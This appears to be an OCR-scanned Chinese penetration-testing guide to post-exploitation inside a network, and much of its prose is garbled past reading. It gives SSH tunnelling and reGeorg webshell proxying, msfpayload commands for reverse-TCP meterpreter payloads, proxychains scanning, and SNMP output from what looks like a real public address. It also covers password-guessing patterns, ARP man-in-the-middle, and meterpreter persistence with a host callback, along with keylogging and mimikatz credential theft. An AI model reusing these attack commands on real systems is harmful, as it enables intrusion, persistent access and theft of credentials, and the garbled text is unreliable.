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1.1 JE [ (Forward Proxy)

Lhost——) proxy——) Rhost

Lhosty 7 1 19 BRhost, [Alproxy&Ri% T —AMER I B35 = BARZRhost, #RJ5 proxylf Rhosti 33 1% R 3K 3K 75 1) P9 28 3R [B] 45 Lhost, 8] 885k 36 IE R sk & proxyfR 8 T | AT 215 |
Rhost.

1.2 R (reverse proxy)

Lhost<--->proxy<--->firewall<--->Rhost

MIERREMR (KiE) » LhostR Mproxy X BIIER, BAEiLthEBIWE, proxyH AW, AJEHRIREIKBIRBITER, XH KRR TERE LB K3 R 5 ¥ proxy i i
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EFARERBATE S (Lhost) BE (proxy)idifk 23, & AR 2 & itk (Rhost) £ g b4 (proxy)Ak b (Lhost)
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2. VPNR&E / SSHFE &

XA ARER J7 SR 2 LB B BR (system/root) LR F R AL DI RESRTT /B W IMARERIOBSIE, FCBEVPNELLEM H, XEA MR, BIVE—FBESSHEEEH#THE

#!bash

ssh —qTfnN -L port:host:hostport -1 user remote ip  #IEFMBEiE, Wr4itiport

ssh —qTfnN -R port:host:hostport -1 user remote ip  #RFBEiE, FF 1M FE JRH 22
SSH -qTfnN -D port remotehost  #H#E#Tsocks{IE

SRR

-g Quiet mode. %EHER

-T Disable pseudo-tty allocation. AEH shell T

-f Requests ssh to go to background just before command execution. JE&HIEST, HFHEFME -n ¥
-N Do not execute a remote command. AHATEEME, WOHRBRAET ~

BRHME, BATFAEA R OERKTE, 0l DB ssholkfsn 0% &
#!bash

ssh -CfNg -L portl:127.0.0.1:port2 user@host AR

ssh -CfNg -R port2:127.0.0.1:portl user@host TR R

KFKW LA S% X fpaper, JE##SSH Port Forwarding

3. @I HTTP service {4

TR SR P R 7E H AR IR % 38 L A% —Swebshell, JEid shelR AT MR B R BINM, # WKL LEAreGeorg, meterpreter, tuma%%s, EEEHES—AMHRMREEA, £EHC
HL28 LA B — T nginx EL B AT R AR 3E

o reGeorgH WY DAMERL T
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o Step 1. Upload tunnel.(aspxfashx|jsp|php) to a webserver (How you do that is up to you)
o Step 2. Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py
** Note, if you tools, such as NMap doesn't support socks proxies, use [proxychains] (see wiki)
o Step 3. Hack the planet :)
FERREwlb3E AT (regeorgR 8, REAHHIXA)
® meterpreter

msBlEF K, T HNBERNRER RN —ANIFRERE, EATEETRE, TUEBER—ANTHITXHET], REREmeterpreter, 7] BA4 fi—>webshel kiR [l
meterpreter, 3¢ Fmeterpreter, D Jifi 228 38 3F 15 2 T metasploit 517 Il iR 2530 (meterpreter )

3.1 windowsZE B 1]

#!bash
msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

3.2 Linux2E R J5 17

#!bash
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell

3.3 phpjs 1]

ﬁ;?:zzload php/meterpreter/reverse_tcp LEOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -e php/base64 (Ufii#4if) ~t raw -o base64php.php
KB mcterpreteriH/E, MENREHERNMGET, REAQE, BNBERE, BEEESET At SIS EIGET AN GER, X BT DTS M B HHIN)

B R AR HEAT 18 B AR T, auxiliary/server/socksdats Bl AT

X B i Blmeterpreter T AL Yi—H), ZATUEAIsshBEIE, R Bk &R0, AT DL 8 8 it ms DR 2 37 tunnel

load meta_ssh

use multi/ssh/login password

BEE P S HUG explod t B AT HREN S 3T AR B AF
o B 8558 it webshelFInginx = A4 Q
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4. other tricks

python, ruby, perl¥ BLH2# 3socksiEHE

lex, tunna, htran®F S5 HEAT I DR E K

shadowsocks, tor, goagent’4%

BHEPBIK/NRE: ssocks (—RELIRMIMRIEMBM BRI KD ERMRE, R#Fsocks5H ]

0x02 PN PIFRIEER IS B BcsE

B A=A RSB R AR f A L, BT DAX BRI T R LU, B AR — S N BT S B
o NmapfREFMBEAT EHLRI
proxychains nmap * * *
R Remeterpreter EHEAT HIARH, W EEHER /usr/share/metasploit-framework/modules/auxiliary/scanner i< RN AT
o EFhostsIREX Y M EHLAE B

o BEEUE W BBk BRI A A (R TCLA R
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o XFsmpBiE
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=% 218.206.13.51 : U200-3
i Unknown
Community String: public

System MIB

I system Name: Um200-2
jB Descriprion: H3C Comware Platform SoftwareCOMWARE (R) Software Version 5.20,
- % Contact: Hangzhou H3C Technologies Co., Ltd.
gl Location: Hangzhou, China
sysObjectID: 1.3.6.1.4.1.25506.1.30Z
Last Boot: 2013/4/13 19:43:11
4 Router (will forward IP packets ?) : Yes
- Interfaces
@ 7 inzerzaces
® 1  CigabicEthernet0/0  GigabitZIthernet0/0 Interface
Z  GigabitEthernet0/1  GigsbitZthernet0/1 Interface
3 CGigabitEthernet0/Z  GigsbitZthernet0/Z Interface
4  CGigabitEthernet0/3  GigabitZIthernet0/3 Interface
S  GigabitEthernet0/4  GigsbitZIthernet0/¢ Interface
&  GigabitEthernet0/5  GigsbitZthernet0/5 Interface
7 NULLO NULLD Interface
- Hub ports

TCE/IP Networks
+ IPX Network
- Routes
- ARP Table

UDF Services

- TCP Comnections

o
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o jfidresolv.confk I 4 P dnsfR 5588, BRE T8 55 Bdns
o VEBSMTA P bash history, — AT BASSAT A BOBE R SR, 483 5% 3REN~/shi,  SEARL A history B0 Tt H BRI 25 40 B bk Ho At ML 2%

0x03 I MIEZERH R HT5

o JEEZATHE BRI, FIH EEALSHLE, WOA, dbserver, FMsshiE(E, EAHLEE T 7 T Hjuserlist, MURE AR T, KA P Wi 22 AR 2 HE 59
i, HBASHABRRED4ZE (RARBAIS)

Yousername%ol
Yousername%ol2
Yousername%123
Yousername%1234
Yousername%12345
Yousername%o123456

F B Xt ssh,dbserver, vnc, fipi# AT A
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administrator
administrator
administraton

administrator

administgétor

administrator

administrator

o AT

H Fettercap, AE W Barpiimitm, A P22k dhep mitmaf# icmp mitm

idsinfo
idsinfo
idsinfo
af%a772ecfdeaaelbaad
idsinfo
af%a772ecfdeaaeclbaad
idsinfo
idsinfo

idsinfi@

sd
1d g 0
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Idsinfo
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sa
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=] root@kali; ~/Veil-Evasion = root@kali: ~

RIS AL B )5 s G 11, startBP AT R &rettercap i I Db it Sk 2E B 3 T

Notepad++ Plugin Manager

The followring plugin updates are

Plugin G

] DSpeliCheck oty Notepad++ update — ]
An update package is available, 40 you want to download it?
Yes Ne Cancel
i
update Selected 1ghare Selected Updates cancel
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o AR SRR S
stb/ms08067/ipc$/NetBIOS. . ...
ERTES X b Z IRIR S I, RATBRAAVEER, FTUEAR RS R8BI ST A —
L2 AEFE DMA- 5 1R, FAV, WIREEF Fpsexccik Bl £iE, BIL#4, XM B A LLFI A powershelkbypass AVPowershell tricks:Bypass AV
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—WEENAMNBIE S ERRAEE —REERE, BABANMIEREEEAN TS (H#H. . . ) FIUEBRERERBAELER
1L JEII#HE

msfif)EITEEAE, REERMMBUEH AR HERMNNTR
Hid@nsfpayload £ BRI /E TR SR, AR TFRITRESL TN, FURE-ARFEMEE
msfFRESEAE R T IE A, BIE RS )R 3 (metsve) FIEIE B B35S 3h (persistence)
BRGNS ITA AN, RSB Reterpreter, FIAGTRR: E£EETT, Bidmetsveze RS
#!bash

meterpreter > run metsvc

o (BUEEH, I H BRSO

use exploit/multi/handler

set PAYLOAD windows/metsvc_bind_tcp

exploit

i R B H A 77 e

#!bash
meterpreter > run persistence -X -i 10 -p port -r hostip

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

L, ERERNENIETRISER, X BEREE —MEAHER TR, v, Z#0H R/ Eaptth HIX AT G T E #bypass 1360
linux T A B~ ST
mafix rookitFlCymothoa, J& & Wr I LA SE BErootFl /7, AN id K E843 ibackdoorE A &M 24 T — AN Fne, <FFFME, FrLlinRwebshelf2iE, BT LA HE B i A webshell 4k =5 fR
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ixkeylog# FH Fl I—A,  limne>=2.633 T F
BR i Fl meterpreter£ i () [ H B AL T S ThRE

keyscan_start
keyscan_dump

Bllogo. txt - 1EEA
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asd
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Fmeterpreter NMF &b, BRIEwnF AT UBA RN, Rtz
XEY—AMips, TR BkeylogeershfE X, AU RG/FHE - ERFEMEETH, Mnavicat, putty, PLSQL, SecureCRTZ Z4: ik siic 2514

3. hash

mimikatz, ANFHZ B, T meterpreter™] B B #load i B
Quarks PwDump

wce

0x05 something else
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